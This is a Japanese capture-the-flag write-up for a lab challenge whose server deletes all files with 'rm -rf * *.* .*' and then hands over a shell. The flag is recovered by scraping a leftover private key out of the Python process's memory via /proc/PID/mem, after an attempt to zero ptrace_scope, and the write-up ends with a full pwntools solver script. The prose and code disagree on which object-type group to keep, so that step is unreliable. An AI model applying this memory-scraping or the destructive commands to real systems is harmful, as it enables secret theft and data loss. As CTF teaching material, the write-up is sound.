Flag: Alpaca{8a8c58f3cc9b2a5b92cb604d57fbb27e8bca3c763759250d20945cc13e4f6a19}
接続すると are you sure you want to delete everything? (y/N) と聞かれる。y を送ると、サーバー上のファイルが全て削除され(rm -rf)、シェルが与えられる。
チャレンジサーバーの chal.py は以下の処理を行う:
private_key = open("private_key").read() # 32バイトの秘密鍵をメモリに読み込む
os.system("rm -rf * *.* .*") # 全ファイル削除
os.system("sh") # シェルを起動ファイルは消えても、Python プロセスのメモリ上には秘密鍵が残っている。
CPython 3.x(64ビット)において、bytes object は以下のようにメモリ上に配置される:
offset 0: ob_refcnt (8バイト) — 参照カウント
offset 8: ob_type (8バイト) — PyBytes_Type へのポインタ
offset 16: ob_size (8バイト) — データ長(= 32)
offset 24: ob_shash (8バイト) — ハッシュキャッシュ(未計算時は -1)
offset 32: ob_val (32バイト) — 実際のデータ(private_key)
rm -rf でファイルが消えても、Python プロセスが生存していれば、private_key 変数が指す bytes object のメモリは残り続ける。
$ nc <host> <port>
are you sure you want to delete everything? (y/N): y
omg! my 100 bitcoin private key is also gone :(
#
socat の接続構造は以下のようになっている:
socat (PID 1) → python chal.py (PID 9) → os.system("sh") → /bin/sh (PID 12)
シェル(PID 12)から Python プロセス(PID 9)のメモリを読む必要がある。$PPID は直接の親(sh -c sh ラッパー)を指すので、さらに一段上を辿る:
# $PPID の PPID = python chal.py
awk '/PPid/{print $2}' /proc/$PPID/statuscat /proc/sys/kernel/yama/ptrace_scope
# 1 なら制限あり(privileged container なら 0 に変更可能)
echo 0 > /proc/sys/kernel/yama/ptrace_scope 2>/dev/null非 privileged コンテナでは変更できないが、root ユーザーであれば /proc/PID/mem を読み取ることは可能(同一 PID namespace 内)。
Python で /proc/PID/maps と /proc/PID/mem を使って、bytes object のヘッダパターンを検索する:
import struct
pid = <python_pid>
needle = bytes([0x20, 0,0,0,0,0,0,0, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff])
# ob_size=32 , ob_shash=-1 (未計算)
with open(f"/proc/{pid}/maps") as f:
for line in f:
parts = line.split()
if "rw" not in parts[1]: # rw マッピングのみスキャン
continue
a, b = parts[0].split("-")
start, end = int(a, 16), int(b, 16)
if end - start > 200_000_000: # 巨大領域はスキップ
continue
with open(f"/proc/{pid}/mem", "rb") as mem:
mem.seek(start)
data = mem.read(end - start)
# bytes object ヘッダを struct で検索
for i in range(0, len(data) - 64, 8):
refcnt, typ, size = struct.unpack_from("<QQQ", data, i)
if size == 32 and typ > 0x100000 and refcnt < 100:
shash = struct.unpack_from("<q", data, i+24)[0]
if shash == -1: # ハッシュ未計算 = 最近作成された bytes object
key = data[i+32:i+64] # ob_val(実際のデータ)
print(f"candidate: {key.hex()}")ob_size=32, ob_shash=-1 でマッチする object には、bytes object だけでなく str object も含まれる。str object のデータは隣接する object のヘッダ(ob_size=100 = 0x64)で始まることが多く、偽陽性の原因となる。
除外フィルタ: データの先頭8バイトが 0x6400000000000000 なら str object の偽陽性として除外。
さらに、ob_type ポインタで bytes object を識別:
- PyBytes_Type と PyUnicode_Type は異なるアドレス
- str 偽陽性を除外した後の object を
ob_typeでグルーピングし、最も少ないグループ(= PyBytes_Type)を選択
bytes object の候補の中で、printable ASCII 文字の割合が最も高いもの が private_key:
candidates = [...] # Step 5 で得た候補
best = max(candidates, key=lambda k: sum(1 for b in k if 32 <= b <= 126))
print(f"Alpaca{{{best.hex()}}}")#!/usr/bin/env python3
from pwn import *
import base64, re, sys, time
from collections import Counter
HOST = sys.argv[1] if len(sys.argv) > 1 else "localhost"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337
context.log_level = 'info'
r = remote(HOST, PORT)
r.recvuntil(b'(y/N): ')
r.sendline(b'y')
time.sleep(2)
r.recv(timeout=2)
# Grandparent PID(python chal.py)を取得
r.sendline(b'GPP=$(cat /proc/$PPID/status | grep PPid | awk "{print \\$2}"); echo GPP=$GPP')
time.sleep(1)
data = r.recvrepeat(2).decode()
gpp = re.search(r'GPP=(\d+)', data).group(1)
log.success(f"Python PID: {gpp}")
# メモリスキャンスクリプトを base64 で送信
scan_script = f'''
import struct, sys
ppid = {gpp}
results = []
with open(f"/proc/{{ppid}}/maps") as f:
for line in f:
parts = line.split()
if "rw" not in parts[1]: continue
a, b = parts[0].split("-")
s, e = int(a, 16), int(b, 16)
if e - s > 200000000: continue
try:
with open(f"/proc/{{ppid}}/mem", "rb") as m:
m.seek(s)
d = m.read(e - s)
except: continue
for i in range(0, len(d) - 64, 8):
rc, ty, sz = struct.unpack_from("<QQQ", d, i)
if sz == 32 and ty > 0x100000 and rc < 100:
shash = struct.unpack_from("<q", d, i+24)[0]
if shash == -1:
key = d[i+32:i+64]
results.append((rc, ty, key.hex()))
for rc, ty, kh in results:
sys.stdout.write(f"R={{rc}} T={{ty}} K={{kh}}\\n")
sys.stdout.flush()
sys.stdout.write(f"DONE={{len(results)}}\\n")
sys.stdout.flush()
'''.encode()
b64 = base64.b64encode(scan_script).decode()
r.sendline(f'echo "{b64}" | base64 -d | python3'.encode())
data = r.recvuntil(b'DONE=', timeout=60).decode(errors='replace')
count_line = r.recvline(timeout=5).decode(errors='replace').strip()
data += count_line
r.close()
# パース&フィルタリング
objects = []
for line in data.split('\n'):
m = re.match(r'R=(\d+) T=(\d+) K=([0-9a-f]{64})', line.strip())
if m:
objects.append((int(m.group(1)), int(m.group(2)), m.group(3)))
# str 偽陽性を除外(データ先頭が 0x64)
filtered = []
for rc, ty, kh in objects:
first8 = struct.unpack_from("<Q", bytes.fromhex(kh), 0)[0]
if first8 == 0x64:
continue
filtered.append((rc, ty, kh))
# PyBytes_Type に絞る
type_counter = Counter(ty for _, ty, _ in filtered)
pybytes_ty = type_counter.most_common(1)[0][0]
real = [(rc, ty, kh) for rc, ty, kh in filtered if ty == pybytes_ty]
# printable count が最も高いものを選択
best = max(real, key=lambda x: sum(1 for b in bytes.fromhex(x[2]) if 32 <= b <= 126))
log.success(f"🚩 FLAG: Alpaca{{{best[2]}}}")